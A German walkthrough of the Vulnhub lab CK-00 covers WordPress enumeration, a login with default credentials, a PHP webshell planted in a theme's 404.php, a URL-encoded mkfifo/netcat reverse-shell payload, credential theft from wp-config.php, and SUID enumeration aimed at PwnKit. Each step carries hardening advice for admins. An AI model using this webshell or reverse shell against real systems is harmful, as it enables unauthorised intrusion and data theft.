CK-00 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan

nmap

gobuster

nikto

Web Browser

nc (netcat)

head

mysql

cat

find

Metasploit Framework (msfconsole)

mkfifo

Inhaltsverzeichnis

Reconnaissance
Web Enumeration
Initial Access
Privilege Escalation
Proof of Concept (Root Access)
Flags

Reconnaissance

Analyse: Der `arp-scan -l` Befehl wird genutzt, um aktive Geräte im lokalen Netzwerk zu finden.

Bewertung: Ein Gerät mit der IP-Adresse `192.168.2.119` und der MAC-Adresse `08:00:27:0b:fd:dd` (PCS Systemtechnik GmbH / VirtualBox) wird identifiziert. Dies ist das Zielsystem für den Pentest.

Empfehlung (Pentester): Ziel-IP für nachfolgende Scans notieren.
Empfehlung (Admin): Standardempfehlungen für Netzwerksegmentierung und ARP-Monitoring gelten.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.119	08:00:27:0b:fd:dd	PCS Systemtechnik GmbH

Analyse: Die lokale `/etc/hosts`-Datei auf dem Angreifer-System wird bearbeitet, um der IP `192.168.2.119` den Hostnamen `ck.vln` zuzuweisen.

Bewertung: Dieser Schritt erleichtert den Zugriff auf das Ziel über einen Hostnamen statt der IP, was besonders bei Webanwendungen nützlich ist, die eventuell Hostnamen erwarten.

Empfehlung (Pentester): Den definierten Hostnamen bei allen Interaktionen mit der Webanwendung verwenden.
Empfehlung (Admin): Keine Aktion erforderlich (Konfiguration auf Angreiferseite).

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
# Eintrag in /etc/hosts:
192.168.2.119    ck.vln

Analyse: Ein umfassender `nmap`-Scan (`-sS -sC -sV -T5 -A -p-`) wird gegen die Ziel-IP durchgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu identifizieren.

Bewertung: Nmap findet zwei offene TCP-Ports:

**Port 22 (SSH):** `OpenSSH 7.6p1` auf Ubuntu.
**Port 80 (HTTP):** `Apache httpd 2.4.29` auf Ubuntu. Nmap erkennt zudem, dass hier eine WordPress-Seite (Version 5.2.2) läuft (`_http-generator`, `_http-title`).

Die SSH- und Apache-Versionen sind nicht brandaktuell, aber auch nicht extrem alt für den Zeitpunkt des Scans. Die Information, dass es sich um WordPress 5.2.2 handelt, ist entscheidend für die weitere Enumeration.

Empfehlung (Pentester): Fokus auf die WordPress-Installation auf Port 80 legen. Nach bekannten Schwachstellen für WordPress 5.2.2 und installierte Plugins/Themes suchen. Tools wie `wpscan` verwenden. SSH als potenziellen späteren Angriffsvektor im Hinterkopf behalten.
Empfehlung (Admin): WordPress, Themes und Plugins immer auf dem neuesten Stand halten. Apache und OpenSSH ebenfalls aktuell halten. Betriebssystem patchen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.119 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 19:33 CEST
Nmap scan report for ck.vln (192.168.2.119)
Host is up (0.000090s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d2:6f:64:b5:4c:22:ce:b2:c9:8a:ab:57:0e:69:4a:0f (RSA)
|   256 a8:6f:9c:0e:d2:ee:f8:73:0a:0f:5f:57:1c:2f:59:3a (ECDSA)
|_  256 10:8c:55:d4:79:7f:63:0f:ff:ea:c8:fb:73:1e:21:f6 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.2.2
|_http-title: CK~00 – Just another WordPress site
MAC Address: 08:00:27:0B:FD:DD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.09 ms ck.vln (192.168.2.119)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.84 seconds

Analyse: Erneuter Nmap-Scan mit Filterung durch `grep open` zur schnellen Übersicht der offenen Ports.

Bewertung: Bestätigt die offenen Ports 22 (SSH) und 80 (HTTP).

Empfehlung (Pentester): Dient als Referenz für die offenen Ports.
Empfehlung (Admin): Sicherstellen, dass nur notwendige Ports offen sind.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.119 -p- | grep open
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Web Enumeration

Analyse: `gobuster` wird verwendet, um nach gängigen Verzeichnissen und Dateien auf dem Webserver unter `http://ck.vln` zu suchen.

Bewertung: Der Scan findet typische WordPress-Dateien und -Verzeichnisse:

`/wp-content/`: Enthält Themes, Plugins, Uploads.
`/wp-login.php`: Die Login-Seite.
`/wp-includes/`: WordPress-Kerndateien.
`/wp-admin/`: Das Administrations-Backend.
`license.txt`, `readme.html`: Standard-WordPress-Dateien.

Dies bestätigt die WordPress-Installation und liefert die URLs für die wichtigsten Angriffspunkte (`wp-login.php`, `/wp-admin/`, `/wp-content/`).

Empfehlung (Pentester): `wpscan` verwenden, um Benutzer zu enumerieren, installierte Plugins/Themes zu identifizieren und nach bekannten Schwachstellen zu suchen. Die Login-Seite (`wp-login.php`) auf Brute-Force-Angriffe testen. Das `/wp-content/`-Verzeichnis, insbesondere `/wp-content/uploads/`, auf interessante Dateien oder Verzeichnislisting prüfen.
Empfehlung (Admin): WordPress aktuell halten. Benutzerenumerierung erschweren (z.B. durch Ändern der Standard-URLs oder Schutzmaßnahmen). Login-Seite gegen Brute-Force schützen (z.B. mit Limit Login Attempts Reloaded Plugin, fail2ban). Verzeichnislisting deaktivieren.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://ck.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"  -b '403,404' -e --no-error
===============================================================
Gobuster v3.1.0
[...]
===============================================================
[+] Url:                     http://ck.vln
[...]
===============================================================
2023/06/30 19:33:10 Starting gobuster
===============================================================
http://ck.vln/index.php            (Status: 301) [Size: 0] [--> http://ck.vln/]
http://ck.vln/wp-content           (Status: 301) [Size: 305] [--> http://ck.vln/wp-content/]
http://ck.vln/wp-login.php         (Status: 200) [Size: 3101]
http://ck.vln/license.txt          (Status: 200) [Size: 19935]
http://ck.vln/wp-includes          (Status: 301) [Size: 306] [--> http://ck.vln/wp-includes/]
http://ck.vln/readme.html          (Status: 200) [Size: 7447]
http://ck.vln/wp-trackback.php     (Status: 200) [Size: 135]
http://ck.vln/wp-admin             (Status: 301) [Size: 303] [--> http://ck.vln/wp-admin/]
[...]
===============================================================
2023/06/30 19:33:20 Finished
===============================================================

Analyse: `nikto` wird gegen den Webserver eingesetzt, um spezifische Webserver- und Anwendungsschwachstellen zu finden.

Bewertung: Nikto liefert weitere Details und Bestätigungen:

Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`).
Veralteter Apache 2.4.29.
WordPress-Installation bestätigt (`x-redirect-by: WordPress`, `/wp-links-opml.php`, `/license.txt`).
Hinweis auf Akismet-Plugin (`/wp-content/plugins/akismet/readme.txt`).
`/wp-content/uploads/` ist browseable (Verzeichnislisting aktiviert) - Kritisch!
Login-Seite `/wp-login.php` gefunden.
Test-Cookie (`wordpress_test_cookie`) ohne `HttpOnly`-Flag gesetzt.

Das aktivierte Verzeichnislisting für `/wp-content/uploads/` ist ein wichtiges Ergebnis.

Empfehlung (Pentester): Das `/wp-content/uploads/`-Verzeichnis im Browser aufrufen und dessen Inhalt untersuchen. Mit `wpscan` weiter enumerieren. Fehlende Header und alte Versionen notieren, aber Fokus auf WP legen.
Empfehlung (Admin): Verzeichnislisting für `/wp-content/uploads/` deaktivieren. Sicherheitsheader implementieren. Apache, WordPress und alle Plugins/Themes aktualisieren. `HttpOnly`-Flag für Cookies setzen.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.119
- Nikto v2.5.0
+ Target IP:          192.168.2.119
+ Target Hostname:    192.168.2.119
+ Target Port:        80
+ Start Time:         2023-06-30 19:33:22 (GMT2)
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ Drupal Link header found with value: ; rel="https://api.w.org/".
+ The X-Content-Type-Options header is not set.
+ /index.php: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54).
+ Web Server returns a valid response with junk HTTP methods.
+ /icons/README: Apache default file found.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag.
+ /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2023-06-30 19:34:00 (GMT2) (38 seconds)
+ 1 host(s) tested

Analyse: Der Pentester versucht, auf `http://ck/index.php/feed/` zuzugreifen, erhält aber eine Fehlermeldung im Browser ("Seite wurde nicht gefunden", "Verbindung mit dem Server ck schlug fehl").

Bewertung: Dies deutet darauf hin, dass der ursprünglich in `/etc/hosts` eingetragene Hostname (`ck.vln`) nicht korrekt war oder die WordPress-Installation nur auf den Hostnamen `ck` reagiert. Die Fehlermeldung zeigt, dass der Browser versucht, den Host `ck` aufzulösen, was (noch) nicht funktioniert.

Empfehlung (Pentester): Den Eintrag in `/etc/hosts` von `ck.vln` zu `ck` korrigieren.
Empfehlung (Admin): Sicherstellen, dass die WordPress-Seiten-URL und die Home-URL in den WP-Einstellungen korrekt konfiguriert sind und mit dem erwarteten Hostnamen übereinstimmen.

                     http://ck/index.php/feed/

Seite wurde nicht gefunden

Die Verbindung mit dem Server ck schlug fehl.

Falls die Adresse korrekt ist, können Sie noch Folgendes versuchen:

    Die Seite später noch einmal aufrufen.
    Die Netzwerkverbindung überprüfen.
    Falls der Computer sich hinter einer Firewall befindet, überprüfen Sie bitte, ob Firefox der Internetzugriff erlaubt wurde.

Analyse: Der Pentester korrigiert den Eintrag in der lokalen `/etc/hosts`-Datei zu `192.168.2.119 ck`.

Bewertung: Notwendiger Schritt, um die WordPress-Seite korrekt über den Hostnamen `ck` ansprechen zu können.

Empfehlung (Pentester): Nach der Korrektur erneut versuchen, auf `http://ck/` zuzugreifen.
Empfehlung (Admin): Keine Aktion erforderlich.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
# Korrigierter Eintrag in /etc/hosts:
192.168.2.119    ck

Analyse: Diese Zeilen scheinen aus Notizen oder Logs des Pentesters zu stammen und deuten auf erfolgreiche Aktionen hin:

`http://ck/wp-admin/theme-editor.php?file=404.php&theme=twentyseventeen`: Zugriff auf den Theme-Editor von WordPress, speziell auf die `404.php`-Datei des Themes "Twenty Seventeen".
`http://ck/index.php/2019/08/02/hello-world/`: Zugriff auf einen Beispiel-Post.
`http://ck/wp-admin/`: Zugriff auf das Admin-Backend.
`admin:admin`: Dies sind wahrscheinlich die Zugangsdaten, die für den Login in `/wp-admin/` verwendet wurden. Ein sehr schwaches Standardpasswort!

Bewertung: Der Pentester hat offenbar Zugriff auf das WordPress-Admin-Panel mit den schwachen Zugangsdaten `admin`/`admin` erlangt. Dies ermöglicht weitreichenden Zugriff, einschließlich der Bearbeitung von Theme-Dateien, was ein häufiger Weg ist, um eine Webshell zu platzieren.

Empfehlung (Pentester): Den Zugriff auf den Theme-Editor (`Appearance > Theme Editor`) nutzen, um PHP-Code in eine der Theme-Dateien (z.B. `404.php`, `header.php`, `footer.php`) einzufügen. Eine einfache Webshell oder eine Reverse-Shell-Payload ist das Ziel.
Empfehlung (Admin): Standardpasswörter wie `admin`/`admin` niemals verwenden! Starke, einzigartige Passwörter für alle Benutzerkonten erzwingen. Den Theme- und Plugin-Editor im WordPress-Backend deaktivieren (`define( 'DISALLOW_FILE_EDIT', true );` in `wp-config.php`), um Code-Injektion über das Backend zu verhindern.

                     http://ck/wp-admin/theme-editor.php?file=404.php&theme=twentyseventeen
http://ck/index.php/2019/08/02/hello-world/
http://ck/wp-admin/
admin:admin
                 

Analyse: Der Pentester befindet sich im WordPress Theme-Editor und bearbeitet die `404.php`-Datei des Themes "Twenty Seventeen". Er fügt die Zeile `system($GET['cmd']);` hinzu. Dieser Code nimmt einen Parameter namens `cmd` aus der URL (`$GET['cmd']`) entgegen und führt dessen Inhalt als Systembefehl aus (`system()`).

Bewertung: Dies ist eine einfache, aber effektive PHP-Webshell. Durch Aufrufen der `404.php`-Datei (oder einer Seite, die diese Vorlage verwendet) mit einem angehängten `?cmd=...`-Parameter können beliebige Befehle auf dem Server als Benutzer `www-data` (der Benutzer, unter dem Apache/PHP läuft) ausgeführt werden.

Empfehlung (Pentester): Die URL zur modifizierten Datei aufrufen (wahrscheinlich `http://ck/wp-content/themes/twentyseventeen/404.php`) und Befehle über den `cmd`-Parameter anhängen, z.B. `?cmd=whoami` oder `?cmd=ls -la`. Anschließend eine Reverse Shell darüber starten.
Empfehlung (Admin): Theme-/Plugin-Editor deaktivieren. Dateiberechtigungen im Webserver härten. Web Application Firewall (WAF) einsetzen, um Command Injection zu erkennen und zu blockieren.

Edit Themes
Twenty Nineteen: 404 Template (404.php) 
Select theme to edit: Twenty Seventeen

Theme Files
[...]
Selected file content:
 
 .....
 ....
 ..
 
 * The template for displaying 404 pages (not found)
 *
 * @link https://codex.wordpress.org/Creating_an_Error_404_Page
 *
 * @package WordPress
 * @subpackage Twenty_Seventeen
 * @since 1.0
 * @version 1.0
  
 .....
 ....
 ..

php system($ GET['cmd']);  
  _e( 'Oops! That page can’t be found.', 'twentyseventeen' );

"php _e( 'It looks like nothing was found at this location. Maybe try a search?', 'twentyseventeen' ); "

Analyse: WordPress zeigt eine Fehlermeldung an, dass die PHP-Änderung rückgängig gemacht wurde, da keine Kommunikation mit der Seite zur Fehlerprüfung möglich war. Direkt darunter steht jedoch "File edited successfully.".

Bewertung: Dies ist eine häufige, irreführende Meldung in WordPress, besonders wenn Code eingefügt wird, der die Funktionalität der Seite leicht verändert oder wenn die Testkommunikation fehlschlägt. Die Meldung "File edited successfully." deutet darauf hin, dass die Änderung *trotzdem* gespeichert wurde. Dies muss durch Testen bestätigt werden.

Empfehlung (Pentester): Die Fehlermeldung ignorieren und testen, ob die Webshell funktioniert, indem die `404.php` mit einem Testbefehl aufgerufen wird (z.B. `http://ck/wp-content/themes/twentyseventeen/404.php?cmd=id`).
Empfehlung (Admin): Theme-/Plugin-Editor deaktivieren ist die sicherste Maßnahme.

                     Unable to communicate back with site to check for fatal errors,
so the PHP change was reverted. You will need to upload your PHP
file change by some other means, such as by using SFTP.

File edited successfully.

Analyse: Der Pentester testet die eingefügte Webshell, indem er die URL zur modifizierten `404.php` aufruft und den Befehl `ls` über den `cmd`-Parameter übergibt.

Bewertung: Die Webseite gibt den Inhalt des Verzeichnisses `/var/www/html/wp-content/themes/twentyseventeen/` aus. Dies bestätigt, dass die Webshell (`system($GET['cmd']);`) erfolgreich in die `404.php` eingefügt wurde und funktioniert. Beliebige Befehle können nun ausgeführt werden.

Empfehlung (Pentester): Eine Reverse Shell starten, um eine interaktive Sitzung zu erhalten. Dazu einen Listener auf dem Angreifer-PC starten (`nc -lvnp `) und dann die URL mit einer passenden Reverse-Shell-Payload aufrufen (URL-codiert), z.B. `?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20%20%20%3E%2Ftmp%2Ff`.
Empfehlung (Admin): Sofortige Maßnahmen: Theme-Editor deaktivieren, verdächtige Dateien entfernen, Zugangsdaten ändern, System auf weitere Kompromittierung prüfen.

                     # Ausgabe im Browser nach Aufruf von http://ck/wp-content/themes/twentyseventeen/404.php?cmd=ls
404.php
README.txt
archive.php
assets
comments.php
footer.php
front-page.php
functions.php
header.php
inc
index.php
page.php
rtl.css
screenshot.png
search.php
searchform.php
sidebar.php
single.php
style.css
template-parts
                 

Initial Access

Analyse: Der Pentester bereitet den Empfang einer Reverse Shell vor, indem er einen `netcat`-Listener auf Port 5555 startet.

Bewertung: Der Listener ist bereit für die eingehende Verbindung, die durch die Ausführung der Reverse-Shell-Payload über die Webshell ausgelöst wird.

Empfehlung (Pentester): Den Listener aktiv lassen und im nächsten Schritt die Reverse-Shell-Payload über die URL der Webshell senden.
Empfehlung (Admin): Monitoring von Netzwerkverbindungen, Egress-Filterung.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...

Analyse: Dies ist die URL, die im Browser aufgerufen wird, um die Reverse Shell zu starten. Sie zielt auf die modifizierte `404.php` und übergibt im `cmd`-Parameter die URL-kodierte Version einer Standard-Bash-Reverse-Shell-Payload via `mkfifo` und `nc`. Die Payload verbindet sich zurück zum Angreifer-PC (192.168.2.137) auf Port 5555.

Bewertung: Dies ist der korrekte Weg, um die zuvor platzierte Webshell zur Initiierung einer Reverse Shell zu nutzen.

Empfehlung (Pentester): Sicherstellen, dass der Listener läuft, bevor diese URL aufgerufen wird.
Empfehlung (Admin): WAF kann solche Payloads erkennen. Grundursache (Webshell) beheben.

                     Payload: view-source:http://ck/wp-content/themes/twentyseventeen/404.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.137%205555%20%3E%2Ftmp%2Ff
                 

Analyse: Die Ausgabe des `netcat`-Listeners zeigt die erfolgreiche eingehende Verbindung von der Zielmaschine (`192.168.2.119`). Der Pentester erhält einen Shell-Prompt (`$`) als Benutzer `www-data`.

Bewertung: Der initiale Zugriff auf das System als `www-data` über die Webshell und Reverse Shell war erfolgreich!

Empfehlung (Pentester): Die erhaltene Shell stabilisieren (z.B. mit Python PTY) und mit der Enumeration als `www-data` beginnen, um Wege zur Privilegieneskalation zu finden.
Empfehlung (Admin): Die Webshell entfernen, WordPress absichern (siehe frühere Empfehlungen), Egress-Filterung implementieren.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.119] 57112
/bin/sh: 0: can't access tty; job control turned off
$ 

Privilege Escalation

Analyse: Als `www-data` versucht der Pentester, auf die Datei `wp-config.php` (die WordPress-Konfigurationsdatei) im Web-Root zuzugreifen und die ersten 30 Zeilen anzuzeigen.

Bewertung: Der Zugriff ist erfolgreich. Die Datei enthält die Zugangsdaten für die WordPress-Datenbank:

DB-Name: `ck_wp`
DB-Benutzer: `root`
DB-Passwort: `bla_is_my_password`

Erneut wird der MySQL-`root`-Benutzer mit einem schwachen Passwort verwendet. Dies ist ein kritischer Fund.

Empfehlung (Pentester): Die gefundenen MySQL-Zugangsdaten (`root` / `bla_is_my_password`) nutzen, um sich am lokalen MySQL-Server anzumelden (`mysql -u root -p`). Die Datenbank untersuchen und nach Wegen zur weiteren Eskalation suchen (Benutzerdaten, FILE-Privilegien, UDFs). Prüfen, ob dieses Passwort auch für den System-`root` oder andere Benutzer gilt (`su root`).
Empfehlung (Admin): Niemals Klartext-Passwörter in `wp-config.php` speichern, die leicht erratbar sind. Die Datei `wp-config.php` außerhalb des Web-Roots verschieben oder Berechtigungen härten (obwohl WP sie lesen können muss). Einen dedizierten, niedrig-privilegierten Datenbankbenutzer für WordPress verwenden, nicht `root`. MySQL-Root-Passwort ändern.

                    $ cd /var/www/html # Annahme, dass vorher ins Verzeichnis gewechselt wurde
$ head -n 30 wp-config.php
< php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'ck_wp' );

/** MySQL database username */
define( 'DB_USER', 'root' );

/** MySQL database password */
define( 'DB_PASSWORD', 'bla_is_my_password' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
[...] 
                

Analyse: Versuch, mit `su root` zum System-Root zu wechseln (Passwort vermutlich `bla_is_my_password`) und anschließender Login-Versuch am MySQL-Server mit den gefundenen Zugangsdaten.

Bewertung:

`su root` schlägt fehl ("Authentication failure"). Das System-Root-Passwort ist nicht identisch mit dem DB-Root-Passwort.
Der MySQL-Login (`mysql -u root -p` mit Passwort `bla_is_my_password`) ist erfolgreich. Der Pentester hat Root-Zugriff auf den MySQL-Server (Version 5.7.27).

Empfehlung (Pentester): Den MySQL-Server als `root` untersuchen. Datenbanken, Tabellen (insbesondere `wp_users`) und Benutzerberechtigungen prüfen.
Empfehlung (Admin): MySQL-Root-Passwort ändern, dedizierten DB-Benutzer für WP verwenden.

                    $ su root
Password: bla_is_my_password
su: Authentication failure
$ mysql -u root -p
Enter password: bla_is_my_password
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 351
Server version: 5.7.27-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>  
                

Analyse: Innerhalb der MySQL-Shell wird zur Datenbank `ck_wp` gewechselt, deren Tabellen angezeigt und der Inhalt der Tabelle `wp_users` abgefragt.

Bewertung: Die Datenbank `ck_wp` enthält die Standard-WordPress-Tabellen. Die Tabelle `wp_users` enthält einen Benutzer:

`ID`: 1
`user_login`: `admin`
`user_pass`: `$P$B28STLnaYujZ9GjgPnwI/Bo7gIJil.` (Dies ist ein WordPress-Passwort-Hash, basierend auf phpass)
`user_email`: `admin@ck00.com`

Der gefundene Hash gehört zum `admin`-Benutzer, mit dem der Pentester sich bereits über `admin`/`admin` eingeloggt hat. Dieser Hash bestätigt das (vermutlich zu `admin`) gehörende Passwort, ist aber für einen direkten Login oder `su` nicht verwendbar. Ein Offline-Cracking-Versuch mit Tools wie `hashcat` wäre möglich, ist aber bei bekanntem Passwort (`admin`) unnötig.

Empfehlung (Pentester): Den Hash notieren, aber da das Passwort (`admin`) bekannt ist, hat dieser Fund aktuell keine hohe Priorität für die Eskalation. Weiter nach anderen Wegen suchen (MySQL-Privilegien, Kernel-Exploits, SUID-Binaries).
Empfehlung (Admin): Das `admin`-Passwort in WordPress ändern. Regelmäßig Datenbankinhalte auf verdächtige oder unerwünschte Benutzer prüfen.

                    mysql> use ck_wp;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------------+
| Tables_in_ck_wp         |
+-------------------------+
| wp_commentmeta          |
| wp_comments             |
| wp_links                |
| wp_options              |
| wp_postmeta             |
| wp_posts                |
| wp_term_relationships   |
| wp_term_taxonomy        |
| wp_termmeta             |
| wp_terms                |
| wp_usermeta             |
| wp_users                |
+-------------------------+
12 rows in set (0.00 sec)

mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------+------------+---------------------+-----------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email     | user_url   | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----------------+------------+---------------------+-----------------------+-------------+--------------+
|  1 | admin      | $P$B28STLnaYujZ9GjgPnwI/Bo7gIJil. | admin         | admin@ck00.com |            | 2019-08-02 12:17:32 |                       |           0 | admin        |
+----+------------+------------------------------------+---------------+----------------+------------+---------------------+-----------------------+-------------+--------------+
1 row in set (0.00 sec)
                

Analyse: Der Pentester wechselt in das `/home`-Verzeichnis und listet dessen Inhalt auf.

Bewertung: Es existieren Home-Verzeichnisse für die Benutzer `bla`, `bla1` und `ck-00`. Diese Namen korrelieren teilweise mit dem gefundenen DB-Passwort (`bla_is_my_password`).

Empfehlung (Pentester): Die Home-Verzeichnisse (insbesondere `ck-00`) untersuchen, falls Leserechte vorhanden sind. Nach SSH-Keys, Konfigurationsdateien oder Flags suchen.
Empfehlung (Admin): Berechtigungen für Home-Verzeichnisse prüfen.

                    $ cd /home/
$ ls -la
total 20
drwxr-xr-x  5 root  root  4096 Aug  2  2019 .
drwxr-xr-x 23 root  root  4096 Aug  2  2019 ..
drwxr-xr-x  2 bla   bla   4096 Aug  2  2019 bla
drwxr-xr-x  2 bla1  bla1  4096 Aug  2  2019 bla1
drwxr-xr-x  4 ck-00 ck-00 4096 Aug  3  2019 ck 
                

Analyse: Der Pentester wechselt in das Home-Verzeichnis des Benutzers `ck-00` (`/home/ck`) und listet dessen Inhalt auf.

Bewertung: Der Wechsel ist erfolgreich. Im Verzeichnis findet sich eine interessante Datei: `ck00-local-flag`. Sie gehört `root`, ist aber für alle lesbar (`-rw-r--r--`). Die `.bash_history` ist nach `/dev/null` gelinkt, enthält also keine Informationen.

Empfehlung (Pentester): Den Inhalt von `ck00-local-flag` mit `cat ck00-local-flag` auslesen.
Empfehlung (Admin): Sensible Dateien oder Flags nicht in Home-Verzeichnissen speichern, insbesondere nicht mit Leserechten für alle. Den Zweck der Datei klären.

                    $ cd /home/ck # Annahme basierend auf dem nächsten Prompt
$ ls -la
total 32
drwxr-xr-x 4 ck-00 ck-00 4096 Aug  3  2019 .
drwxr-xr-x 5 root  root  4096 Aug  2  2019 ..
lrwxrwxrwx 1 root  root     9 Aug  2  2019 .bash_history -> /dev/null
-rw-r--r-- 1 ck-00 ck-00  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 ck-00 ck-00 3771 Apr  4  2018 .bashrc
drwxrwx--- 2 ck-00 ck-00 4096 Aug  2  2019 .cache
drwx------ 3 ck-00 ck-00 4096 Aug  2  2019 .gnupg
-rw-r--r-- 1 ck-00 ck-00  807 Apr  4  2018 .profile
-rw-r--r-- 1 root  root   103 Aug  3  2019 ck00-local-flag  
                

Analyse: Der Inhalt der Datei `ck00-local-flag` wird angezeigt.

Bewertung: Die Datei enthält die User-Flag (local flag) im MD5-Hash-Format: `8163d4c2c7ccb38591d57b86c7414f8c`. Der Text fordert dazu auf, Root-Rechte zu erlangen.

Empfehlung (Pentester): Die User-Flag dokumentieren. Den Fokus auf die Eskalation zu Root legen.
Empfehlung (Admin): Flags/sensible Daten sicher speichern.

                    $ cat ck00-local-flag
local.txt = 8163d4c2c7ccb38591d57b86c7414f8c

you got local flag
get the root shell and read root flag 
                

Analyse: Es wird erneut nach SUID-Binaries gesucht (`find / -type f -perm -4000 -ls 2>/dev/null`).

Bewertung: Die Liste ist umfangreich und enthält viele Standard-Binaries sowie einige spezifischere:

`/usr/bin/pkexec`: Polkit's Execute-Programm. **Dies ist der Schlüssel!** `pkexec` war anfällig für die PwnKit-Schwachstelle (CVE-2021-4034), die eine einfache lokale Privilegieneskalation zu Root ermöglicht.
`/usr/bin/newuidmap`, `/usr/bin/newgidmap`: Für User-Namespaces.
`/usr/bin/at`: Scheduler.
`/usr/bin/arping`: Sendet ARP-Requests.
`/usr/lib/policykit-1/polkit-agent-helper-1`: Polkit-Helper.
`/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic`: Für LXC-Container-Netzwerke.
`/usr/lib/snapd/snap-confine`: Teil von Snapd.
Viele Binaries unter `/snap/core/...`: SUID-Binaries innerhalb des Snap Core-Images.

Der Fund von `pkexec` ist entscheidend.

Empfehlung (Pentester): Die PwnKit-Schwachstelle (CVE-2021-4034) gegen `/usr/bin/pkexec` ausnutzen. Dafür gibt es fertige Exploits (oft C-Code) oder Metasploit-Module. Da `pkexec` gefunden wurde, ist dies der wahrscheinlichste Weg zu Root.
Empfehlung (Admin): Das System dringend patchen, insbesondere das `policykit-1`-Paket, um CVE-2021-4034 zu schließen. Generell alle Pakete aktuell halten.

                    $ find / -type f -perm -4000 -ls 2>/dev/null
  372 -rwsr-xr--   1 root     dip        378600 Jun 12  2018 /usr/sbin/pppd
   24 -rwsr-xr-x   1 root     root        22520 Mar 27  2019 /usr/bin/pkexec
   40 -rwsr-xr-x   1 root     root        37136 Jan 25  2018 /usr/bin/newuidmap
   76 -rwsr-xr-x   1 root     root        76496 Jan 25  2018 /usr/bin/chfn
   40 -rwsr-xr-x   1 root     root        37136 Jan 25  2018 /usr/bin/newgidmap
   40 -rwsr-xr-x   1 root     root        40344 Jan 25  2018 /usr/bin/newgrp
  148 -rwsr-xr-x   1 root     root       149080 Jan 18  2018 /usr/bin/sudo
   44 -rwsr-xr-x   1 root     root        44528 Jan 25  2018 /usr/bin/chsh
   20 -rwsr-xr-x   1 root     root        18448 Mar  9  2017 /usr/bin/traceroute6.iputils
